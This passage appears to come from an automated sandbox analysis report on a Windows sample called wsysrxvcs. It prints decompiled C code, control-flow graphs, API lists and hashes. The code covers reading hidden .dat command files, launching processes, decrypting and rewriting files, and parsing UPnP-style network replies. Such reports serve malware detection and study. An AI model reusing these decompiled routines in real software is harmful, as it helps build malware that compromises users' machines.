                                                                                                                                                                                                                                                                                                                                                      0x00409d52
                                                                                                                                                                                                                                                                                                                                                      0x00409d52
                                                                                                                                                                                                                                                                                                                                                      0x00409d5c
                                                                                                                                                                                                                                                                                                                                                      0x00409d5c
                                                                                                                                                                                                                                                                                                                                                      0x00409d62
                                                                                                                                                                                                                                                                                                                                                      0x00409d74
                                                                                                                                                                                                                                                                                                                                                      0x00409d7a
                                                                                                                                                                                                                                                                                                                                                      0x00409d85

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InitializeCriticalSection.KERNEL32(004156AC,?,?,?,?,?,?,00406455), ref: 00409C3B
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNELBASE(C:\Users\user\tbnds.dat,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00409C8D
                                                                                                                                                                                                                                                                                                                                                      • CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00409CAE
                                                                                                                                                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00409CCD
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 00409CE2
                                                                                                                                                                                                                                                                                                                                                      • UnmapViewOfFile.KERNEL32(00000000), ref: 00409D48
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00409D52
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 00409D5C
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: NtQuerySystemTime.NTDLL ref: 0040BD5A
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040BD50: RtlTimeToSecondsSince1980.NTDLL ref: 0040BD68
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
                                                                                                                                                                                                                                                                                                                                                      • String ID: C:\Users\user\tbnds.dat$Ud@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 439099756-3175925072
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c895346a9442e1866c24f78d75527c0a8949b4abdf379861812c5ca8a7017c80
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 8001fb0da6053d82c2bd70dd49f35a469f674b8f2be2b54337d57924dfd06c85
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c895346a9442e1866c24f78d75527c0a8949b4abdf379861812c5ca8a7017c80
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B9414E74E40208FBDB10DBA4DC4AFAEB770AB44704F208469E6117A2C2C7B96941CB9C
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404560 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 302 404560-404592 InitializeCriticalSection CreateFileW 303 404685-404688 302->303 304 404598-4045b3 CreateFileMappingW 302->304 305 4045b9-4045d2 MapViewOfFile 304->305 306 40467b-40467f CloseHandle 304->306 307 404671-404675 CloseHandle 305->307 308 4045d8-4045ea GetFileSize 305->308 306->303 307->306 309 4045ed-4045f1 308->309 310 4045f3-4045fa 309->310 311 404667-40466b UnmapViewOfFile 309->311 312 4045fc 310->312 313 4045fe-404611 call 40b100 310->313 311->307 312->311 316 404613 313->316 317 404615-40462a 313->317 316->311 318 40463a-404665 call 404450 317->318 319 40462c-404638 call 408b60 317->319 318->309 319->311
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404560() {
				void* _v8;
				void* _v12;
				void* _v16;
				long _v20;
				void* _v24;
				intOrPtr _v28;
				void* _t35;
				intOrPtr _t45;
				void* _t66;
				void* _t67;

				InitializeCriticalSection(0x414c50);
				_t35 = CreateFileW("C:\Users\alfons\tbcmds.dat", 0x80000000, 0, 0, 3, 0, 0); // executed
				_v8 = _t35;
				if(_v8 != 0xffffffff) {
					_v12 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v12 == 0) {
						L14:
						return CloseHandle(_v8);
					}
					_v16 = MapViewOfFile(_v12, 4, 0, 0, 0);
					if(_v16 == 0) {
						L13:
						CloseHandle(_v12);
						goto L14;
					}
					_v20 = GetFileSize(_v8, 0);
					_v24 = _v16;
					while(_v20 != 0) {
						if(_v20 >= 0x100) {
							_t45 = E0040B100(_v24, _v24);
							_t67 = _t66 + 4;
							_v28 = _t45;
							if(_v28 != 0) {
								_v20 = _v20 - 0x100;
								if(_v20 >=  *((intOrPtr*)(_v28 + 0xc))) {
									E00404450(_v24, _v28, _v24,  *((intOrPtr*)(_v28 + 0xc)) + 0x100, 0);
									_t66 = _t67 + 0x10;
									_v20 = _v20 -  *((intOrPtr*)(_v28 + 0xc));
									continue;
								}
								E00408B60(_v28);
								break;
							}
							break;
						}
						break;
					}
					UnmapViewOfFile(_v16);
					goto L13;
				}
				return _t35;
			}













                                                                                                                                                                                                                                                                                                                                                      0x0040456b
                                                                                                                                                                                                                                                                                                                                                      0x00404585
                                                                                                                                                                                                                                                                                                                                                      0x0040458b
                                                                                                                                                                                                                                                                                                                                                      0x00404592
                                                                                                                                                                                                                                                                                                                                                      0x004045ac
                                                                                                                                                                                                                                                                                                                                                      0x004045b3
                                                                                                                                                                                                                                                                                                                                                      0x0040467b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040467f
                                                                                                                                                                                                                                                                                                                                                      0x004045cb
                                                                                                                                                                                                                                                                                                                                                      0x004045d2
                                                                                                                                                                                                                                                                                                                                                      0x00404671
                                                                                                                                                                                                                                                                                                                                                      0x00404675
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404675
                                                                                                                                                                                                                                                                                                                                                      0x004045e4
                                                                                                                                                                                                                                                                                                                                                      0x004045ea
                                                                                                                                                                                                                                                                                                                                                      0x004045ed
                                                                                                                                                                                                                                                                                                                                                      0x004045fa
                                                                                                                                                                                                                                                                                                                                                      0x00404602
                                                                                                                                                                                                                                                                                                                                                      0x00404607
                                                                                                                                                                                                                                                                                                                                                      0x0040460a
                                                                                                                                                                                                                                                                                                                                                      0x00404611
                                                                                                                                                                                                                                                                                                                                                      0x0040461e
                                                                                                                                                                                                                                                                                                                                                      0x0040462a
                                                                                                                                                                                                                                                                                                                                                      0x00404651
                                                                                                                                                                                                                                                                                                                                                      0x00404656
                                                                                                                                                                                                                                                                                                                                                      0x00404662
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404662
                                                                                                                                                                                                                                                                                                                                                      0x00404630
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404635
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404613
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004045fc
                                                                                                                                                                                                                                                                                                                                                      0x0040466b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040466b
                                                                                                                                                                                                                                                                                                                                                      0x00404688

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InitializeCriticalSection.KERNEL32(00414C50,?,?,?,?,?,0040641F), ref: 0040456B
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNELBASE(C:\Users\user\tbcmds.dat,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,0040641F), ref: 00404585
                                                                                                                                                                                                                                                                                                                                                      • CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 004045A6
                                                                                                                                                                                                                                                                                                                                                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 004045C5
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 004045DE
                                                                                                                                                                                                                                                                                                                                                      • UnmapViewOfFile.KERNEL32(00000000), ref: 0040466B
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 00404675
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040467F
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\user\tbcmds.dat, xrefs: 00404580
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
                                                                                                                                                                                                                                                                                                                                                      • String ID: C:\Users\user\tbcmds.dat
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3956458805-4015643306
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: ffced041c71c1d1b66aec95550984d97db9d182e246add6a2dee488be815fc80
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 068de0eeb47c8b83a571e37af6360b0d9046fe5958687f01e9cb74a01da15135
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ffced041c71c1d1b66aec95550984d97db9d182e246add6a2dee488be815fc80
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C53163B4E40209FFDB14DBA4CC4AFAEB770AB88705F208529E601772C0D7B96941CB99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D280 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 59sleepprocessCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 324 40d280-40d2de memset CreateProcessW 325 40d2e0-40d2ed Sleep 324->325 326 40d2ef-40d313 ShellExecuteW 324->326 327 40d326-40d329 325->327 328 40d324 326->328 329 40d315-40d322 Sleep 326->329 328->327 329->327
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040D280(char _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOW _v100;
				intOrPtr _v104;
				int _t20;

				memset( &_v100, 0, 0x44);
				_v24.hProcess = 0;
				_v24.hThread = 0;
				_v24.dwProcessId = 0;
				_v24.dwThreadId = 0;
				_v100.cb = 0x44;
				_v100.dwFlags = 1;
				_v100.wShowWindow = 5;
				_t11 =  &_a4; // 0x406123
				_t20 = CreateProcessW(0,  *_t11, 0, 0, 0, 0x20, 0, 0,  &_v100,  &_v24); // executed
				if(_t20 != 1) {
					_t12 =  &_a4; // 0x406123
					_v8 = ShellExecuteW(0, L"open",  *_t12, 0, 0, 0);
					_v104 = _v8;
					if(_v104 <= 0x20) {
						return 0;
					}
					Sleep(0x3e8);
					return 1;
				}
				Sleep(0x3e8); // executed
				return 1;
			}








                                                                                                                                                                                                                                                                                                                                                      0x0040d28e
                                                                                                                                                                                                                                                                                                                                                      0x0040d298
                                                                                                                                                                                                                                                                                                                                                      0x0040d29b
                                                                                                                                                                                                                                                                                                                                                      0x0040d29e
                                                                                                                                                                                                                                                                                                                                                      0x0040d2a1
                                                                                                                                                                                                                                                                                                                                                      0x0040d2a4
                                                                                                                                                                                                                                                                                                                                                      0x0040d2ab
                                                                                                                                                                                                                                                                                                                                                      0x0040d2b7
                                                                                                                                                                                                                                                                                                                                                      0x0040d2cf
                                                                                                                                                                                                                                                                                                                                                      0x0040d2d5
                                                                                                                                                                                                                                                                                                                                                      0x0040d2de
                                                                                                                                                                                                                                                                                                                                                      0x0040d2f5
                                                                                                                                                                                                                                                                                                                                                      0x0040d306
                                                                                                                                                                                                                                                                                                                                                      0x0040d30c
                                                                                                                                                                                                                                                                                                                                                      0x0040d313
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d324
                                                                                                                                                                                                                                                                                                                                                      0x0040d31a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d320
                                                                                                                                                                                                                                                                                                                                                      0x0040d2e5
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.NTDLL ref: 0040D28E
                                                                                                                                                                                                                                                                                                                                                      • CreateProcessW.KERNELBASE ref: 0040D2D5
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNELBASE(000003E8), ref: 0040D2E5
                                                                                                                                                                                                                                                                                                                                                      • ShellExecuteW.SHELL32(00000000,open,#a@,00000000,00000000,00000000), ref: 0040D300
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8), ref: 0040D31A
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Sleep$CreateExecuteProcessShellmemset
                                                                                                                                                                                                                                                                                                                                                      • String ID: $#a@$D$open
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2222793131-2365623954
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a717dc1a332256b97c6a6da9f1848ef79a3af53e5dfe8345794ead9c5cab1e4b
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 22f9de94e88e8be2c8da8ddb0b418ba3c2364b774b65f27a210f96e2ac835ab6
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a717dc1a332256b97c6a6da9f1848ef79a3af53e5dfe8345794ead9c5cab1e4b
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 50110371E44308BBEB14CFD4DD46FEE7774AB18700F20412AFA09BA2C0D7B59A448B59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D0C0 Relevance: 15.1, APIs: 10, Instructions: 145fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 330 40d0c0-40d101 CreateFileW 331 40d213-40d217 330->331 332 40d107-40d122 CreateFileMappingW 330->332 335 40d219-40d239 CreateFileW 331->335 336 40d26d-40d275 331->336 333 40d128-40d141 MapViewOfFile 332->333 334 40d209-40d20d CloseHandle 332->334 337 40d147-40d15d GetFileSize 333->337 338 40d1ff-40d203 CloseHandle 333->338 334->331 339 40d261-40d26a call 408b60 335->339 340 40d23b-40d25b WriteFile CloseHandle 335->340 342 40d163-40d176 call 40b0d0 337->342 343 40d1f5-40d1f9 UnmapViewOfFile 337->343 338->334 339->336 340->339 342->343 347 40d178-40d187 342->347 343->338 347->343 348 40d189-40d1a9 call 40aa70 347->348 350 40d1ae-40d1b8 348->350 350->343 351 40d1ba-40d1e0 call 4093b0 350->351 351->343 354 40d1e2-40d1ee call 408b60 351->354 354->343
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 83%
                                                                                                                                                                                                                                                                                                                                                      			E0040D0C0(WCHAR* _a4) {
				void* _v8;
				long _v12;
				void* _v16;
				DWORD* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				char _v48;
				void* _t54;
				void* _t56;
				void* _t62;
				void* _t64;
				DWORD* _t70;
				void* _t73;
				void* _t103;

				_v21 = 0;
				_v12 = 0;
				_v20 = 0;
				_v8 = 0;
				_t54 = CreateFileW(_a4, 0x80000000, 0, 0, 3, 0, 0); // executed
				_v16 = _t54;
				if(_v16 == 0xffffffff) {
					L12:
					if(_v8 != 0) {
						_t56 = CreateFileW(_a4, 0x40000000, 0, 0, 2, 0, 0); // executed
						_v16 = _t56;
						if(_v16 != 0xffffffff) {
							_v21 = 1;
							WriteFile(_v16, _v8, _v12,  &_v12, 0); // executed
							CloseHandle(_v16);
						}
						E00408B60(_v8);
					}
					return _v21;
				}
				_t62 = CreateFileMappingW(_v16, 0, 2, 0, 0, 0); // executed
				_v28 = _t62;
				if(_v28 == 0) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_t64 = MapViewOfFile(_v28, 4, 0, 0, 0); // executed
				_v32 = _t64;
				if(_v32 == 0) {
					L10:
					CloseHandle(_v28);
					goto L11;
				} else {
					_v12 = GetFileSize(_v16, 0);
					if(_v12 > 0x100) {
						_t70 = E0040B0D0(_v32, _v32);
						_t103 = _t103 + 4;
						_v20 = _t70;
						if(_v20 != 0 && _v20[6] == _v12 - 0x100) {
							_v12 = _v20[6];
							_t73 = E0040AA70(_v32 + 0x100,  &(_v20[2]), 0x10, _v32 + 0x100, _v12); // executed
							_t103 = _t103 + 0x10;
							_v8 = _t73;
							if(_v8 != 0) {
								E004093B0(_v8, _v12,  &_v48);
								_t103 = _t103 + 0xc;
								asm("repe cmpsd");
								if(0 != 0) {
									E00408B60(_v8);
									_t103 = _t103 + 4;
									_v8 = 0;
								}
							}
						}
					}
					UnmapViewOfFile(_v32);
					goto L10;
				}
			}


















                                                                                                                                                                                                                                                                                                                                                      0x0040d0c8
                                                                                                                                                                                                                                                                                                                                                      0x0040d0cc
                                                                                                                                                                                                                                                                                                                                                      0x0040d0d3
                                                                                                                                                                                                                                                                                                                                                      0x0040d0da
                                                                                                                                                                                                                                                                                                                                                      0x0040d0f4
                                                                                                                                                                                                                                                                                                                                                      0x0040d0fa
                                                                                                                                                                                                                                                                                                                                                      0x0040d101
                                                                                                                                                                                                                                                                                                                                                      0x0040d213
                                                                                                                                                                                                                                                                                                                                                      0x0040d217
                                                                                                                                                                                                                                                                                                                                                      0x0040d22c
                                                                                                                                                                                                                                                                                                                                                      0x0040d232
                                                                                                                                                                                                                                                                                                                                                      0x0040d239
                                                                                                                                                                                                                                                                                                                                                      0x0040d23b
                                                                                                                                                                                                                                                                                                                                                      0x0040d251
                                                                                                                                                                                                                                                                                                                                                      0x0040d25b
                                                                                                                                                                                                                                                                                                                                                      0x0040d25b
                                                                                                                                                                                                                                                                                                                                                      0x0040d265
                                                                                                                                                                                                                                                                                                                                                      0x0040d26a
                                                                                                                                                                                                                                                                                                                                                      0x0040d275
                                                                                                                                                                                                                                                                                                                                                      0x0040d275
                                                                                                                                                                                                                                                                                                                                                      0x0040d115
                                                                                                                                                                                                                                                                                                                                                      0x0040d11b
                                                                                                                                                                                                                                                                                                                                                      0x0040d122
                                                                                                                                                                                                                                                                                                                                                      0x0040d209
                                                                                                                                                                                                                                                                                                                                                      0x0040d20d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d20d
                                                                                                                                                                                                                                                                                                                                                      0x0040d134
                                                                                                                                                                                                                                                                                                                                                      0x0040d13a
                                                                                                                                                                                                                                                                                                                                                      0x0040d141
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ff
                                                                                                                                                                                                                                                                                                                                                      0x0040d203
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d147
                                                                                                                                                                                                                                                                                                                                                      0x0040d153
                                                                                                                                                                                                                                                                                                                                                      0x0040d15d
                                                                                                                                                                                                                                                                                                                                                      0x0040d167
                                                                                                                                                                                                                                                                                                                                                      0x0040d16c
                                                                                                                                                                                                                                                                                                                                                      0x0040d16f
                                                                                                                                                                                                                                                                                                                                                      0x0040d176
                                                                                                                                                                                                                                                                                                                                                      0x0040d18f
                                                                                                                                                                                                                                                                                                                                                      0x0040d1a9
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ae
                                                                                                                                                                                                                                                                                                                                                      0x0040d1b1
                                                                                                                                                                                                                                                                                                                                                      0x0040d1b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d1c6
                                                                                                                                                                                                                                                                                                                                                      0x0040d1cb
                                                                                                                                                                                                                                                                                                                                                      0x0040d1de
                                                                                                                                                                                                                                                                                                                                                      0x0040d1e0
                                                                                                                                                                                                                                                                                                                                                      0x0040d1e6
                                                                                                                                                                                                                                                                                                                                                      0x0040d1eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ee
                                                                                                                                                                                                                                                                                                                                                      0x0040d1ee
                                                                                                                                                                                                                                                                                                                                                      0x0040d1e0
                                                                                                                                                                                                                                                                                                                                                      0x0040d1b8
                                                                                                                                                                                                                                                                                                                                                      0x0040d176
                                                                                                                                                                                                                                                                                                                                                      0x0040d1f9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d1f9

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNELBASE(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D0F4
                                                                                                                                                                                                                                                                                                                                                      • CreateFileMappingW.KERNELBASE(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D115
                                                                                                                                                                                                                                                                                                                                                      • MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000000), ref: 0040D134
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D14D
                                                                                                                                                                                                                                                                                                                                                      • UnmapViewOfFile.KERNEL32(00000000), ref: 0040D1F9
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0040D203
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D20D
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNELBASE(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D22C
                                                                                                                                                                                                                                                                                                                                                      • WriteFile.KERNELBASE(000000FF,00000000,00000000,00000000,00000000), ref: 0040D251
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D25B
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateHandle$View$MappingSizeUnmapWrite
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 171974401-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2695214368558359eae67718f4887b6ebf16665ee111ab7f9f38213c055d5372
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 9f0382f089f225363bc7f55b437f03b50d7b6b351693f58f9837866169394b9b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2695214368558359eae67718f4887b6ebf16665ee111ab7f9f38213c055d5372
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 16515FB5E00208FBDB14DBE4CC49BDFB775AB48700F208569E6117B2C0D7B9AA45CB94
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C380 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 357 40c380-40c39a 358 40c3ab-40c3b2 357->358 359 40c464-40c46d 358->359 360 40c3b8-40c3d7 recvfrom 358->360 361 40c3e6-40c403 StrCmpNIA 360->361 362 40c3d9-40c3e4 Sleep 360->362 364 40c405-40c424 StrStrIA 361->364 365 40c45f 361->365 363 40c39c-40c3a5 362->363 363->358 364->365 366 40c426-40c45d StrChrA call 40b180 364->366 365->363 366->365
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 79%
                                                                                                                                                                                                                                                                                                                                                      			E0040C380(intOrPtr __eax, intOrPtr _a4, intOrPtr* _a8) {
				char _v1028;
				char _v1029;
				intOrPtr _v1036;
				char* _v1040;
				char* _v1044;
				intOrPtr _t20;
				intOrPtr _t29;
				void* _t37;

				_t20 = __eax;
				_v1029 = 0;
				_v1036 = 0;
				while(_v1036 < 2) {
					__imp__#17(_a4,  &_v1028, 0x400, 0, 0, 0); // executed
					if(_t20 != 0xffffffff) {
						_v1029 = 1;
						if(StrCmpNIA( &_v1028, "HTTP/1.1 200 OK", 0xf) == 0) {
							_v1040 = StrStrIA( &_v1028, "LOCATION: ");
							if(_v1040 != 0) {
								_v1044 = _v1040 + 0xa;
								_t29 = E0040B180(_v1044, _v1044, StrChrA(_v1044, 0xd) - _v1044);
								_t37 = _t37 + 8;
								 *_a8 = _t29;
							}
						}
					} else {
						Sleep(0x3e8); // executed
					}
					_t20 = _v1036 + 1;
					_v1036 = _t20;
				}
				return _v1029;
			}











                                                                                                                                                                                                                                                                                                                                                      0x0040c380
                                                                                                                                                                                                                                                                                                                                                      0x0040c389
                                                                                                                                                                                                                                                                                                                                                      0x0040c390
                                                                                                                                                                                                                                                                                                                                                      0x0040c3ab
                                                                                                                                                                                                                                                                                                                                                      0x0040c3ce
